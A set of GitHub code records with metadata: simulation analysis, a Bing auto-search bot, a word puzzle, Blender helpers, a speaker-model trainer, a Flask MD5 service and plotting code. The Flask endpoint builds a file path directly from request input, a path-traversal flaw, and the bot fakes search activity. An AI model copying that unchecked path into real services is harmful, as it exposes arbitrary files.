associated flux -- same\n            as the flux dictionary given be :meth:`.flux_matrix`, but only\n            including the cases with the desired state volume\n        \"\"\"\n        fluxes = self._access_cached_result('flux')\n        state_keys = [k for k in fluxes.keys() if k[0] == from_state]\n        return {k: fluxes[k] for k in state_keys}\n\n    @property\n    def transition_probability_matrix(self):\n        \"\"\"\n        :class:`.TransitionDictResults`: matrix of transition probabilities\n        \"\"\"\n        return self._access_cached_result('transition_probability')\n\n    def transition_probability(self, from_state, to_state):\n        \"\"\"Transition probability between two states.\n\n        Parameters\n        ----------\n        from_state : :class:`.Volume`\n            initial state in the transition\n        to_state : :class:`.Volume`\n            final state in the transition\n\n        Returns\n        -------\n        float\n            transition probability for the `from_state`->`to_state`\n            transition\n        \"\"\"\n        trans_probs = self._access_cached_result('transition_probability')\n        return trans_probs[(from_state, to_state)]\n\n    def rate_matrix(self, steps=None):\n        \"\"\"Calculate the rate matrix.\n\n        Parameters\n        ----------\n        steps : iterable of :class:`.MCStep`\n            the steps from a simulation to use for calculating the rate. If\n            `None` (default), then use the existing cached results.\n\n        Returns\n        -------\n        :class:`.TransitionDictResults`\n            the rate matrix\n        \"\"\"\n        if steps is not None:\n            self.calculate(steps)\n        return self._access_cached_result('rate')\n\n    def rate(self, from_state, to_state):\n        \"\"\"Rate for the transition between two states\n\n        Parameters\n        ----------\n        from_state : :class:`.Volume`\n            initial state in the transition\n        to_state : :class:`.Volume`\n            final state in the transition\n\n        Returns\n        -------\n        float or Quantity\n            rate for the `from_state`->`to_state` transition\n        \"\"\"\n        return self._access_cached_result('rate')[(from_state, to_state)]\n", "repo_name": "openpathsampling/openpathsampling", "sub_path": "openpathsampling/analysis/tis/core.py", "file_name": "core.py", "file_ext": "py", "file_size_in_byte": 15834, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 94, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.Counter", "line_number": 29, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 33, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 38, "usage_type": "call"}, {"api_name": "openpathsampling.netcdfplus.StorableNamedObject", "line_number": 46, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 119, "usage_type": "call"}, {"api_name": "openpathsampling.progress.SimpleProgress", "line_number": 131, "usage_type": "name"}, {"api_name": "openpathsampling.netcdfplus.StorableNamedObject", "line_number": 131, "usage_type": "name"}, {"api_name": "openpathsampling.numerics.Histogram", "line_number": 216, "usage_type": "call"}, {"api_name": "openpathsampling.numerics", "line_number": 216, "usage_type": "attribute"}, {"api_name": "openpathsampling.netcdfplus.StorableNamedObject", "line_number": 244, "usage_type": "name"}]}
{"seq_id": "36737375090", "text": "import time\nimport pyautogui\nimport os\nimport random\nimport string\n\npyautogui.PAUSE = 1\npyautogui.FAILSAFE = True\n\nsearch_amount = int(input(\"Enter the amount of searchs you want to perform: \"))\n\nos.system(\"google-chrome --new-tab\")\npyautogui.click(x=0, y=50)\npyautogui.click(pyautogui.locateCenterOnScreen(\n    \"images/search-bar.png\", confidence=0.5), duration=1)\ntime.sleep(1)\n\npyautogui.typewrite(\"https://www.bing.com/ \\n\")\n\nfor i in range(search_amount):\n    term = ''.join(random.choice(string.ascii_letters)\n                   for i in range(5)) + \" \\n\"\n    pyautogui.typewrite(term, interval=0.10)\n    pyautogui.click(pyautogui.locateCenterOnScreen(\n        \"images/bing-search-bar.png\", confidence=0.5))\n    time.sleep(2)\npyautogui.alert(text=\"Done!\", title=\"Aviso do sistema\", button=\"OK\")\n", "repo_name": "gstvalbuquerque/pyautogui", "sub_path": "bing-robot-search/bing_robot.py", "file_name": "bing_robot.py", "file_ext": "py", "file_size_in_byte": 801, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyautogui.PAUSE", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pyautogui.FAILSAFE", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 12, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 13, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 14, "usage_type": "call"}, {"api_name": "pyautogui.locateCenterOnScreen", "line_number": 14, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "pyautogui.typewrite", "line_number": 18, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 21, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pyautogui.typewrite", "line_number": 23, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 24, "usage_type": "call"}, {"api_name": "pyautogui.locateCenterOnScreen", "line_number": 24, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "pyautogui.alert", "line_number": 27, "usage_type": "call"}]}
{"seq_id": "16104520950", "text": "import argparse\n\nkeyword = \"mackerel\"\n\nwords = [keyword]\n\ndef get_words(args):\n\tw = words\n\tif args.dictionary:\n\t\ttry:\n\t\t\twith open(args.dictionary, 'r', encoding=\"utf8\", errors='ignore') as f:\n\t\t\t\tcontent = f.readlines()\n\t\t\t\tw = [x.strip() for x in content] \n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tprint(\"Could not open dictionary\")\n\treturn w\n\ndef get_mackerel_words(args):\n\ttry:\n\t\twith open(args.text_file, 'r', encoding=\"utf8\", errors='ignore') as f:\n\t\t\tcontent = f.readlines()\n\texcept Exception as e:\n\t\tprint(e)\n\t\tprint(\"Could not open text_file\")\n\t\treturn []\n\tcontent = [x.strip() for x in content]\n\twords = get_words(args)\n\tmackerel_words = []\n\tfor word in words:\n\t\tcounter = 0\n\t\tletter_set = set([c for c in word.lower()])\n\t\trearrange = []\n\t\tfor entry in content:\n\t\t\tent_set = set([c for c in entry.lower()])\n\t\t\tif ent_set.isdisjoint(letter_set):\n\t\t\t\tcounter += 1\n\t\t\t\trearrange.append(entry)\n\t\tif counter == 1:\n\t\t\tmackerel_words.append((rearrange[0], word))\n\treturn mackerel_words\n\ndef main():\n\tparser = argparse.ArgumentParser(description='Process some integers.')\n\tparser.add_argument('--text-file', type=str, default='states.txt',\n\t                    help='an integer for the accumulator')\n\tparser.add_argument('--dictionary', \n\t                    help='Words to look for mackerel words from.')\n\n\targs = parser.parse_args()\n\tmackerel_words = get_mackerel_words(args)\n\tfor word, mackerel in mackerel_words:\n\t\tprint(\"{} is the only word which shares no letters with the word {}.\".format(word, mackerel))\n\n\tprint(\"Script finished.\")\nif __name__ == \"__main__\":\n\tmain()", "repo_name": "ckilcoin/mackerel", "sub_path": "mackerel.py", "file_name": "mackerel.py", "file_ext": "py", "file_size_in_byte": 1576, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 44, "usage_type": "call"}]}
{"seq_id": "13036239827", "text": "import bpy\nfrom . existing_keys import IDKey, findsIDKeys, removesIDKey\nfrom . data_types import dataTypeByIdentifier, dataTypeIdentifiers\n\n@findsIDKeys(removable = True)\ndef getIDKeysOnObjects():\n    possibleKeys = set()\n    for object in getAllObjects():\n        for key in object.keys():\n            if key.startswith(\"AN*\"): possibleKeys.add(key)\n    return filterRealIDKeys(possibleKeys)\n\n\ndef filterRealIDKeys(possibleKeys):\n    realIDKeys = set()\n    for key in possibleKeys:\n        parts = key.split(\"*\")\n        if len(parts) == 3:\n            if parts[1] in dataTypeIdentifiers:\n                realIDKeys.add(IDKey(parts[1], parts[2]))\n        elif len(parts) == 4:\n            if parts[1] in dataTypeIdentifiers:\n                realIDKeys.add(IDKey(parts[1], parts[3]))\n    return realIDKeys\n\n@removesIDKey\ndef removeIDKey(idKey):\n    typeClass = dataTypeByIdentifier[idKey.type]\n    for object in getAllObjects():\n        typeClass.remove(object, idKey.name)\n\ndef getAllObjects():\n    return bpy.data.objects\n", "repo_name": "JacquesLucke/animation_nodes", "sub_path": "animation_nodes/id_keys/id_keys_on_objects.py", "file_name": "id_keys_on_objects.py", "file_ext": "py", "file_size_in_byte": 1024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2231, "dataset": "github-code", "pt": "81", "api": [{"api_name": "existing_keys.findsIDKeys", "line_number": 5, "usage_type": "call"}, {"api_name": "data_types.dataTypeIdentifiers", "line_number": 19, "usage_type": "name"}, {"api_name": "existing_keys.IDKey", "line_number": 20, "usage_type": "call"}, {"api_name": "data_types.dataTypeIdentifiers", "line_number": 22, "usage_type": "name"}, {"api_name": "existing_keys.IDKey", "line_number": 23, "usage_type": "call"}, {"api_name": "data_types.dataTypeByIdentifier", "line_number": 28, "usage_type": "name"}, {"api_name": "existing_keys.removesIDKey", "line_number": 26, "usage_type": "name"}, {"api_name": "bpy.data", "line_number": 33, "usage_type": "attribute"}]}
{"seq_id": "37271907612", "text": "import torch\nfrom torch import optim\n\nimport os\nimport os.path\nimport time\nimport numpy as np\nimport pandas as pd\nfrom collections import defaultdict\nimport argparse\n\nimport utils\nfrom utils import read_vocab, Tokenizer, timeSince, try_cuda\nfrom env import R2RBatch, ImageFeatures\nfrom refer360_env import Refer360Batch, Refer360ImageFeatures\n\nfrom model import SpeakerEncoderLSTM, SpeakerDecoderLSTM\nfrom speaker import Seq2SeqSpeaker\nimport eval_speaker\nfrom train import get_word_embedding_size\nfrom vocab import SUBTRAIN_VOCAB, TRAIN_VOCAB, TRAINVAL_VOCAB\n\n\ndef get_model_prefix(args, image_feature_list):\n  image_feature_name = \"+\".join(\n      [featurizer.get_name() for featurizer in image_feature_list])\n  model_prefix = 'speaker_{}_{}'.format(\n      args.feedback_method, image_feature_name)\n  if args.use_train_subset:\n    model_prefix = 'trainsub_' + model_prefix\n  return model_prefix\n\n\ndef eval_model(agent, results_path, use_dropout, feedback, allow_cheat=False):\n  agent.results_path = results_path\n  agent.test(\n      use_dropout=use_dropout, feedback=feedback, allow_cheat=allow_cheat)\n\n\ndef filter_param(param_list):\n  return [p for p in param_list if p.requires_grad]\n\n\ndef train(args, train_env, agent, val_envs=None):\n  ''' Train on training set, validating on both seen and unseen. '''\n\n  if val_envs is None:\n    val_envs = {}\n\n  print('Training with %s feedback' % args.feedback_method)\n  encoder_optimizer = optim.Adam(\n      filter_param(agent.encoder.parameters()),\n      lr=args.learning_rate,\n      weight_decay=args.weight_decay)\n  decoder_optimizer = optim.Adam(\n      filter_param(agent.decoder.parameters()),\n      lr=args.learning_rate,\n      weight_decay=args.weight_decay)\n\n  data_log = defaultdict(list)\n  start = time.time()\n\n  split_string = \"-\".join(train_env.splits)\n\n  def make_path(n_iter):\n    return os.path.join(\n        args.SNAPSHOT_DIR, '%s_%s_iter_%d' % (\n            get_model_prefix(args, train_env.image_features_list),\n            split_string, n_iter))\n\n  best_metrics = {}\n  last_model_saved = {}\n  for idx in range(0, args.n_iters, args.log_every):\n    agent.env = train_env\n\n    interval = min(args.log_every, args.n_iters-idx)\n    iter = idx + interval\n    data_log['iteration'].append(iter)\n\n    # Train for log_every interval\n    agent.train(encoder_optimizer, decoder_optimizer, interval,\n                feedback=args.feedback_method)\n    train_losses = np.array(agent.losses)\n    assert len(train_losses) == interval\n    train_loss_avg = np.average(train_losses)\n    data_log['train loss'].append(train_loss_avg)\n    loss_str = 'train loss: %.4f' % train_loss_avg\n\n    save_log = []\n    # Run validation\n    for env_name, (val_env, evaluator) in sorted(val_envs.items()):\n      agent.env = val_env\n      # Get validation loss under the same conditions as training\n      agent.test(use_dropout=True,\n                 feedback=args.feedback_method,\n                 allow_cheat=True)\n      val_losses = np.array(agent.losses)\n      val_loss_avg = np.average(val_losses)\n      data_log['%s loss' % env_name].append(val_loss_avg)\n\n      agent.results_path = '%s%s_%s_iter_%d.json' % (\n          args.RESULT_DIR, get_model_prefix(\n              args, train_env.image_features_list),\n          env_name, iter)\n\n      # Get validation distance from goal under evaluation conditions\n      results = agent.test(use_dropout=False, feedback='argmax')\n      if not args.no_save:\n        agent.write_results()\n      print(\"evaluating on {}\".format(env_name))\n      score_summary, _ = evaluator.score_results(results, verbose=True)\n\n      loss_str += ', %s loss: %.4f' % (env_name, val_loss_avg)\n      for metric, val in score_summary.items():\n        data_log['%s %s' % (env_name, metric)].append(val)\n        if metric in ['bleu']:\n          loss_str += ', %s: %.3f' % (metric, val)\n\n          key = (env_name, metric)\n          if key not in best_metrics or best_metrics[key] < val:\n            best_metrics[key] = val\n            if not args.no_save:\n              model_path = make_path(iter) + \"_%s-%s=%.3f\" % (\n                  env_name, metric, val)\n              save_log.append(\n                  \"new best, saved model to %s\" % model_path)\n              agent.save(model_path)\n              if key in last_model_saved:\n                for old_model_path in \\\n                        agent._encoder_and_decoder_paths(\n                            last_model_saved[key]):\n                  os.remove(old_model_path)\n              last_model_saved[key] = model_path\n\n    print(('%s (%d %d%%) %s' % (\n        timeSince(start, float(iter)/args.n_iters),\n        iter, float(iter)/args.n_iters*100, loss_str)))\n    for s in save_log:\n      print(s)\n\n    if not args.no_save:\n      if args.save_every and iter % args.save_every == 0:\n        agent.save(make_path(iter))\n\n      df = pd.DataFrame(data_log)\n      df.set_index('iteration')\n      df_path = '%s%s_log.csv' % (\n          args.PLOT_DIR, get_model_prefix(\n              args, train_env.image_features_list))\n      df.to_csv(df_path)\n\n\ndef setup():\n  torch.manual_seed(1)\n  torch.cuda.manual_seed(1)\n\n\ndef make_speaker(args,\n                 action_embedding_size=-1,\n                 feature_size=-1):\n  enc_hidden_size = args.hidden_size//2 if args.bidirectional else args.hidden_size\n  wordvec = np.load(args.wordvec_path)\n\n  vocab = read_vocab(TRAIN_VOCAB, args.language)\n  word_embedding_size = get_word_embedding_size(args)\n  encoder = try_cuda(SpeakerEncoderLSTM(\n      action_embedding_size, feature_size, enc_hidden_size, args.dropout_ratio,\n      bidirectional=args.bidirectional))\n  decoder = try_cuda(SpeakerDecoderLSTM(\n      len(vocab), word_embedding_size, args.hidden_size, args.dropout_ratio,\n      wordvec=wordvec,\n      wordvec_finetune=args.wordvec_finetune))\n  agent = Seq2SeqSpeaker(\n      None, \"\", encoder, decoder, args.max_input_length)\n  return agent\n\n\ndef make_env_and_models(args, train_vocab_path, train_splits, test_splits,\n                        test_instruction_limit=None,\n                        instructions_per_path=None):\n  setup()\n  if args.env == 'r2r':\n    EnvBatch = R2RBatch\n    ImgFeatures = ImageFeatures\n  elif args.env == 'refer360':\n    EnvBatch = Refer360Batch\n    ImgFeatures = Refer360ImageFeatures\n  else:\n    raise NotImplementedError(\n        'this {} environment is not implemented.'.format(args.env))\n\n  image_features_list = ImgFeatures.from_args(args)\n  feature_size = sum(\n      [featurizer.feature_dim for featurizer in image_features_list]) + 128\n  if args.use_visited_embeddings:\n    feature_size += 64\n  if args.use_oracle_embeddings:\n    feature_size += 64\n  action_embedding_size = feature_size\n\n  vocab = read_vocab(train_vocab_path, args.language)\n  tok = Tokenizer(vocab=vocab)\n\n  train_env = EnvBatch(image_features_list,\n                       splits=train_splits,\n                       tokenizer=tok,\n                       args=args)\n\n  enc_hidden_size = args.hidden_size//2 if args.bidirectional else args.hidden_size\n  wordvec = np.load(args.wordvec_path)\n\n  word_embedding_size = get_word_embedding_size(args)\n  enc_hidden_size = 600  # refer360 >>>\n  enc_hidden_size = 512  # refer360 >>>\n  # enc_hidden_size = 512  # r2r >>>\n\n  encoder = try_cuda(SpeakerEncoderLSTM(\n      action_embedding_size, feature_size, enc_hidden_size, args.dropout_ratio,\n      bidirectional=args.bidirectional))\n  word_embedding_size = 300  # refer360 >>>>\n  word_embedding_size = 300  # r2r >>>>\n  hidden_size = 600  # refer360 >>>\n  hidden_size = 512  # refer360 >>>\n  # hidden_size = 512  # >>> r2r\n  #hidden_size = args.hidden_size\n\n  decoder = try_cuda(SpeakerDecoderLSTM(\n      len(vocab), word_embedding_size, hidden_size, args.dropout_ratio,\n      wordvec=wordvec,\n      wordvec_finetune=args.wordvec_finetune))\n\n  test_envs = {}\n  for split in test_splits:\n    b = EnvBatch(image_features_list,\n                 splits=[split],\n                 tokenizer=tok,\n                 args=args)\n    e = eval_speaker.SpeakerEvaluation(\n        [split], instructions_per_path=instructions_per_path,\n        args=args)\n    test_envs[split] = (b, e)\n\n  # TODO\n  # test_envs = {\n  #     split: (BatchEnv(image_features_list, batch_size=batch_size,\n  #                      splits=[split], tokenizer=tok,\n  #                      instruction_limit=test_instruction_limit,\n  #                      prefix=args.prefix),\n  #             eval_speaker.SpeakerEvaluation(\n  #                 [split], instructions_per_path=instructions_per_path, ))\n  #     for split in test_splits}\n\n  return train_env, test_envs, encoder, decoder\n\n\ndef train_setup(args):\n  train_splits = ['train']\n  # val_splits = ['train_subset', 'val_seen', 'val_unseen']\n  val_splits = ['val_seen', 'val_unseen']\n  vocab = TRAIN_VOCAB\n\n  if args.use_train_subset:\n    train_splits = ['sub_' + split for split in train_splits]\n    val_splits = ['sub_' + split for split in val_splits]\n    vocab = SUBTRAIN_VOCAB\n\n  instructions_per_path = None if args.prefix == 'R2R' else 1\n\n  train_env, val_envs, encoder, decoder = make_env_and_models(\n      args, vocab, train_splits, val_splits,\n      instructions_per_path=instructions_per_path)\n  agent = Seq2SeqSpeaker(\n      train_env, \"\", encoder, decoder, instruction_len=args.max_input_length)\n  return agent, train_env, val_envs\n\n\n# TODO\n# Test set prediction will be handled separately\n# def test_setup(args):\n#     train_env, test_envs, encoder, decoder = make_env_and_models(\n#         args, TRAINVAL_VOCAB, ['train', 'val_seen', 'val_unseen'], ['test'])\n#     agent = Seq2SeqSpeaker(\n#         None, \"\", encoder, decoder, MAX_INSTRUCTION_LENGTH,\n#         max_episode_len=max_episode_len)\n#     return agent, train_env, test_envs\n\n\ndef train_val(args):\n  ''' Train on the training set, and validate on seen and unseen splits. '''\n  agent, train_env, val_envs = train_setup(args)\n  train(args, train_env, agent, val_envs=val_envs)\n\n\n# Test set prediction will be handled separately\n# def test_submission(args):\n#     ''' Train on combined training and validation sets, and generate test\n#     submission. '''\n#     agent, train_env, test_envs = test_setup(args)\n#     train(args, train_env, agent)\n#\n#     test_env = test_envs['test']\n#     agent.env = test_env\n#\n#     agent.results_path = '%s%s_%s_iter_%d.json' % (\n#         args.RESULT_DIR, get_model_prefix(args, train_env.image_features_list),\n#         'test', n_iters)\n#     agent.test(use_dropout=False, feedback='argmax')\n#     if not args.no_save:\n#         agent.write_results()\n\n\ndef make_arg_parser():\n  parser = argparse.ArgumentParser()\n  ImageFeatures.add_args(parser)\n  Refer360ImageFeatures.add_args(parser)\n  parser.add_argument(\n      \"--use_train_subset\", action='store_true',\n      help=\"use a subset of the original train data for validation\")\n\n  parser.add_argument(\"--bidirectional\", action='store_true')\n  parser.add_argument(\"--word_embedding_size\", type=int, default=300)\n  #parser.add_argument(\"--hidden_size\", type=int, default=512)\n  parser.add_argument(\"--hidden_size\", type=int, default=256)\n  parser.add_argument(\"--learning_rate\", type=float, default=0.0001)\n  parser.add_argument(\"--weight_decay\", type=float, default=0.0005)\n  parser.add_argument(\"--dropout_ratio\", type=float, default=0.5)\n  parser.add_argument(\"--feedback_method\",\n                      choices=['teacher',\n                               'sample'],\n                      default='teacher')\n\n  parser.add_argument(\"--n_iters\", type=int, default=100000)\n  parser.add_argument(\"--log_every\", type=int, default=5000)\n  parser.add_argument(\"--save_every\", type=int, default=5000)\n  parser.add_argument(\"--max_input_length\", type=int, default=80)\n  parser.add_argument(\"--seed\", type=int, default=10)\n  parser.add_argument(\"--beam_size\", type=int, default=1)\n  parser.add_argument(\"--no_save\", action='store_true')\n\n  parser.add_argument(\"--prefix\", type=str, default='R2R')\n  parser.add_argument(\"--language\", type=str, default='en-ALL')\n  parser.add_argument('--wordvec_path', type=str,\n                      default='tasks/R2R/data/train_glove')\n  parser.add_argument('--wordvec_finetune', action='store_true')\n  parser.add_argument(\"--error_margin\", type=float, default=3.0)\n  parser.add_argument(\"--use_intermediate\", action='store_true')\n  parser.add_argument('--use_reading', action='store_true')\n  parser.add_argument('--use_raw', action='store_true')\n  parser.add_argument(\"--add_asterix\", action='store_true')\n\n  #parser.add_argument(\"--env\", type=str, default='r2r')\n\n  parser.add_argument('--img_features_root', type=str,\n                      default='./img_features')\n  parser.add_argument('--cache_root', type=str,\n                      default='/projects/vcirik/refer360/data/cached_data_15degrees/')\n  parser.add_argument('--image_list_file', type=str,\n                      default='/projects/vcirik/refer360/data/imagelist.txt')\n  parser.add_argument('--refer360_root', type=str,\n                      default='/projects/vcirik/refer360/data/continuous_grounding')\n  parser.add_argument(\"--angle_inc\", type=int, default=30)\n\n  parser.add_argument('--use_gt_actions', action='store_true')\n  parser.add_argument('--use_absolute_location_embeddings',\n                      action='store_true')\n  parser.add_argument('--use_stop_embeddings', action='store_true')\n  parser.add_argument('--use_timestep_embeddings', action='store_true')\n  parser.add_argument('--use_visited_embeddings',\n                      type=str,\n                      choices=['', 'ones', 'zeros', 'count', 'pe'],\n                      default='')\n  parser.add_argument('--use_oracle_embeddings', action='store_true')\n  parser.add_argument(\n      '--use_object_embeddings', action='store_true')\n\n  parser.add_argument('--metrics', type=str,\n                      default='success',\n                      help='Success metric, default=success')\n  parser.add_argument('--deaf', action='store_true')\n  parser.add_argument('--blind', action='store_true')\n  parser.add_argument('--no_lookahead', action='store_true')\n  parser.add_argument('--nextstep', action='store_true')\n\n  parser.add_argument(\"--verbose\", action='store_true')\n  return parser\n\n\nif __name__ == \"__main__\":\n  #utils.run(make_arg_parser(), train_val)\n  from train import make_arg_parser as m_a_p\n  utils.run(m_a_p(), train_val)\n", "repo_name": "volkancirik/FAST", "sub_path": "train_speaker.py", "file_name": "train_speaker.py", "file_ext": "py", "file_size_in_byte": 14305, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.optim.Adam", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 55, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 60, "usage_type": "call"}, {"api_name": "time.time", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 98, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 132, "usage_type": "call"}, {"api_name": "utils.timeSince", "line_number": 136, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 155, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 162, "usage_type": "call"}, {"api_name": "utils.read_vocab", "line_number": 164, "usage_type": "call"}, {"api_name": "vocab.TRAIN_VOCAB", "line_number": 164, "usage_type": "argument"}, {"api_name": "train.get_word_embedding_size", "line_number": 165, "usage_type": "call"}, {"api_name": "utils.try_cuda", "line_number": 166, "usage_type": "call"}, {"api_name": "model.SpeakerEncoderLSTM", "line_number": 166, "usage_type": "call"}, {"api_name": "utils.try_cuda", "line_number": 169, "usage_type": "call"}, {"api_name": "model.SpeakerDecoderLSTM", "line_number": 169, "usage_type": "call"}, {"api_name": "speaker.Seq2SeqSpeaker", "line_number": 173, "usage_type": "call"}, {"api_name": "env.R2RBatch", "line_number": 183, "usage_type": "name"}, {"api_name": "env.ImageFeatures", "line_number": 184, "usage_type": "name"}, {"api_name": "refer360_env.Refer360Batch", "line_number": 186, "usage_type": "name"}, {"api_name": "refer360_env.Refer360ImageFeatures", "line_number": 187, "usage_type": "name"}, {"api_name": "utils.read_vocab", "line_number": 201, "usage_type": "call"}, {"api_name": "utils.Tokenizer", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 210, "usage_type": "call"}, {"api_name": "train.get_word_embedding_size", "line_number": 212, "usage_type": "call"}, {"api_name": "utils.try_cuda", "line_number": 217, "usage_type": "call"}, {"api_name": "model.SpeakerEncoderLSTM", "line_number": 217, "usage_type": "call"}, {"api_name": "utils.try_cuda", "line_number": 227, "usage_type": "call"}, {"api_name": "model.SpeakerDecoderLSTM", "line_number": 227, "usage_type": "call"}, {"api_name": "eval_speaker.SpeakerEvaluation", "line_number": 238, "usage_type": "call"}, {"api_name": "vocab.TRAIN_VOCAB", "line_number": 260, "usage_type": "name"}, {"api_name": "vocab.SUBTRAIN_VOCAB", "line_number": 265, "usage_type": "name"}, {"api_name": "speaker.Seq2SeqSpeaker", "line_number": 272, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 313, "usage_type": "call"}, {"api_name": "env.ImageFeatures.add_args", "line_number": 314, "usage_type": "call"}, {"api_name": "env.ImageFeatures", "line_number": 314, "usage_type": "name"}, {"api_name": "refer360_env.Refer360ImageFeatures.add_args", "line_number": 315, "usage_type": "call"}, {"api_name": "refer360_env.Refer360ImageFeatures", "line_number": 315, "usage_type": "name"}, {"api_name": "utils.run", "line_number": 391, "usage_type": "call"}, {"api_name": "train.make_arg_parser", "line_number": 391, "usage_type": "call"}]}
{"seq_id": "4673317533", "text": "from flask import Flask, request, jsonify\nimport hashlib\n\n# create the Flask app\napp = Flask(__name__)\n\n\n@app.route('/', methods=['POST'])\ndef calculate_md5():\n    my_response = {}\n    content = request.json\n    file_name = content['data']\n    with open('/usr/src/' + file_name, 'rb') as my_file:\n        line = my_file.read()\n        my_response[\"file\"] = file_name\n        my_response[\"checksum\"] = hashlib.md5(line).hexdigest()\n        return jsonify(my_response)\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5001)\n", "repo_name": "Deep-Debug/AWS", "sub_path": "A1/app2/app2.py", "file_name": "app2.py", "file_ext": "py", "file_size_in_byte": 535, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 11, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 11, "usage_type": "name"}, {"api_name": "hashlib.md5", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "14608883637", "text": "import matplotlib.pyplot as plt\nimport sys\nimport os\n\nclass Visualize:\n    def __init__(self, loss_test_epoch,\n                 loss_train_epoch,\n                 loss_train_batch,\n                 epoch_auc_history,\n                 config,\n                 path,\n                 epoch_num=25):\n        super(Visualize, self).__init__()\n        self.loss_test_epoch = loss_test_epoch\n        self.loss_train_batch = loss_train_batch\n        self.epoch_auc_history = epoch_auc_history\n        self.loss_train_epoch = loss_train_epoch\n        self.epoch_num = epoch_num\n        self.config = config\n        self.path = path\n\n    def visualize_model_results(self):\n        # Plot AUC-Epoch\n        fig, plt_2 = plt.subplots(1, 1, figsize=(5, 5))\n        plt_2.plot(self.epoch_auc_history, color='red')\n        plt_2.set_ylabel('Accuracy')\n        plt_2.set_xlabel('Epoch')\n        plt_2.set_title('Dataset: {} - Backbone: {}'.format(self.config['dataset_name'],\n                                                      self.config['name']))\n\n        fig.savefig(os.path.join(self.path, 'AUC_Epoch.png'))\n        # fig.cla()\n\n        # Plot Loss Train --> Epoch\n        fig, plt_2 = plt.subplots(1, 1, figsize=(5, 5))\n        plt_2.plot(self.loss_train_epoch, color='red', label='Train')\n        plt_2.plot(self.loss_test_epoch, color='blue', label='Test')\n        plt_2.legend(loc=\"upper right\")\n        plt_2.set_ylabel('Loss')\n        plt_2.set_xlabel('Epoch')\n        plt_2.set_title('Dataset: {} - Backbone: {}'.format(self.config['dataset_name'],\n                                                      self.config['name']))\n\n        fig.savefig(os.path.join(self.path, 'Loss_Epoch.png'))\n        # fig.cla()\n\n        # Plot Loss Train --> Batch\n        fig, plt_2 = plt.subplots(1, 1, figsize=(5, 5))\n        plt_2.plot(self.loss_train_batch, color='red')\n        plt_2.set_ylabel('Loss')\n        plt_2.set_xlabel('Iteration')\n        plt_2.set_title('Dataset: {} - Backbone: {}'.format(self.config['dataset_name'],\n                                                      self.config['name']))\n\n        fig.savefig(os.path.join(self.path, 'Loss_Batch.png'))\n        # fig.cla()\n", "repo_name": "sabadijou/classification_new_loss", "sub_path": "utils/visualize_results.py", "file_name": "visualize_results.py", "file_ext": "py", "file_size_in_byte": 2176, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.subplots", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}]}
